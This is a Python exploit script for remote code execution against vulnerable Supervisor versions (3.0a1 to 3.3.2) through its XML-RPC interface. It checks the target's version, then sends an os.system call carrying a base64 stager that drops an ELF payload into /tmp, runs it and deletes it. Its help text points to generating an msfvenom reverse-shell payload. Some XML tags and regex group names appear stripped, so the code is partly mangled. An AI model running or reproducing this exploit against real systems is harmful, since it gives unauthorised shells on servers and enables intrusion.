#!/usr/bin/env python3 import sys import random import string import base64 import requests from distutils.version import StrictVersion import re import argparse hdrs = { 'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', 'Content-Type': 'text/xml', 'Accept': 'text/xml' } def randomString(length): return (''.join(random.choice(string.ascii_letters) for m in range(length))) def check_version(version): if StrictVersion(version) <= StrictVersion('3.3.2') and StrictVersion(version) >= StrictVersion('3.0a1'): return True else: return False def check(URL): print('Extracting version from web interface..') try: res = requests.get(URL,headers=hdrs) except requests.exceptions.ConnectionError: print('Error connecting to web interface') return False if res.status_code == 200: match = re.search('(?P\d+\.[\dab]\.\d+)<\/span>',res.text) if match: version = match.group('version') if check_version(version): print(f"Vulnerable version found: {version}") return True else: print(f"Version {version} is not vulnerable") return False else: print('Could not extract version number from web interface') return False elif res.status_code == 401: print(f"Authentication failed: {res.status_code} response") return False else: print(f"Unexpected HTTP code: {res.status_code} response") return False def check_payload(path): try: f = open(path,'rb') f.close() return True except IOError: print('Payload file not found, exiting...') return False def main(rhost,rport,rpcpath,payload): url = 'http://' + rhost + ':' + str(rport) + rpcpath # Check that payload exists and Supervisor version is vulnerable if not check_payload(payload): sys.exit(1) if not check('http://' + rhost + ':' + str(rport)): sys.exit(1) # Read ELF payload f = open(payload,'rb') payload1 = f.read() f.close() payload1_64 = base64.b64encode(payload1) # Random binary and b64 encoded binary for stager p_load64 = randomString(3 + random.randrange(3)) + '.' + 'b64' p_load = randomString(3 + random.randrange(3)) # Note that unlike in bash we don't have to escape $ # Also the f-string works only from Python 3.6 cmd_stager = "echo -n " + payload1_64.decode('utf-8') + f""">>'/tmp/{p_load64}' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/{p_load}' < '/tmp/{p_load64}' ; chmod +x '/tmp/{p_load}' ; '/tmp/{p_load}' ; rm -f '/tmp/{p_load}' ; rm -f '/tmp/{p_load64}'""" # Base64 encode the cmd_stager itself and pass it to the XML input payload2_64 = base64.b64encode(cmd_stager.encode()).decode('utf-8') xml_body = f""" supervisor.supervisord.options.warnings.linecache.os.system echo -n {payload2_64}|base64 -d|nohup bash > /dev/null 2>&1 & """ try: print(f"Sending XML-RPC payload via POST to {rhost}:{rport}{rpcpath}") res = requests.post(url,data=xml_body,headers=hdrs) except requests.exceptions.ConnectionError: print(f"Cannot connect to {rhost}:{rport}{rpcpath}") sys.exit(1) if res.status_code == 401: print(f"Authentication failed: {res.status_code} response") elif res.status_code == 404: print(f"Invalid XML-RPC endpoint: {res.status_code} response") elif res.status_code == 200: match = re.search('(?P[0-9]+)',res.text) if match: response = match.group('response') if response == '0': print('Successful remote code execution') else: print('Something went wrong') else: print(f"Unexpected HTTP code: {res.status_code} response") return 0 if __name__ == '__main__': parser = argparse.ArgumentParser(description="Generate the payload first, eg: \nmsfvenom -a x64 --platform Linux -p linux/x64/shell_reverse_tcp LHOST=192.168.92.134 LPORT=4445 -f elf -o dir/payload.elf",epilog="Call the exploit like this: \n ./exploit.py -rhost 192.168.92.153 -rport 9001 -rpcpath /RPC2 -payload dir/payload.elf", formatter_class=argparse.RawTextHelpFormatter) parser._action_groups.pop() required = parser.add_argument_group('Required arguments') optional = parser.add_argument_group('Optional arguments') required.add_argument('-rhost',help='Target host running Supervisor eg. 192.168.92.153',required=True) optional.add_argument('-rport',default=9001,help='Target port running Supervisor. Default: 9001') required.add_argument('-payload',help='Path to the ELF payload. eg dir/payload.elf',required=True) optional.add_argument('-rpcpath',default='/RPC2',help='Path to the XML-RPC endpoint on Supervisor. Default: \'/RPC2\' as in http://192.168.92.153:9001/RPC2') args = parser.parse_args() main(args.rhost,args.rport,args.rpcpath,args.payload)